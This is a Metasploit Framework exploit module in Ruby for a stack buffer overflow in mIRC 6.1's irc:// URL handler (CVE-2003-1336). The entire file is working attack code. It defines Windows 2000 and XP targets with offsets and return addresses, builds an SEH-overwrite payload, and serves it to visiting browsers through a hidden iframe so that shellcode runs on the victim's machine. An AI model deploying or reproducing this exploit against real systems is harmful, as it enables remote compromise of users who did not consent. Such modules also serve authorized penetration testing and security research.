### $Id: mirc_irc_url.rb 9262 2010-05-09 17:45:00Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,'Name' => 'mIRC IRC URL Buffer Overflow','Description'=> %q{
This module exploits a stack buffer overflow in mIRC 6.1. By
submitting an overly long and specially crafted URL to
the 'irc' protocol, an attacker can overwrite the buffer
and control program execution.},'License'=> MSF_LICENSE,'Author' => 'MC','Version'=> '$Revision: 9262 $','References' =>
[['CVE','2003-1336'],['OSVDB','2665'],['BID','8819'],],'DefaultOptions' =>
{'EXITFUNC' => 'process',},'Payload'=>
{'Space'=> 400,'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",'StackAdjustment' => -3500,},'Platform' => 'win','Targets'=>
[['Windows 2000 Pro English All',{'Offset' => 1442,'Ret' => 0x75022ac4 }],['Windows XP Pro SP0/SP1 English',{'Offset' => 1414,'Ret' => 0x71aa32ad }],],'Privileged' => false,'DisclosureDate' => 'Oct 13 2003','DefaultTarget'=> 0))end
def on_request_uri(cli, request)# Re-generate the payloadreturnif((p = regenerate_payload(cli)) == nil)
filler =rand_text_alphanumeric(target['Offset'], payload_badchars)
seh= generate_seh_payload(target.ret)
sploit = filler + seh
# Build the HTML content
content = "<html><iframe src='irc://#{sploit}'></html>"
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")# Transmit the response to the client
send_response_html(cli, content)# Handle the payload
handler(cli)endend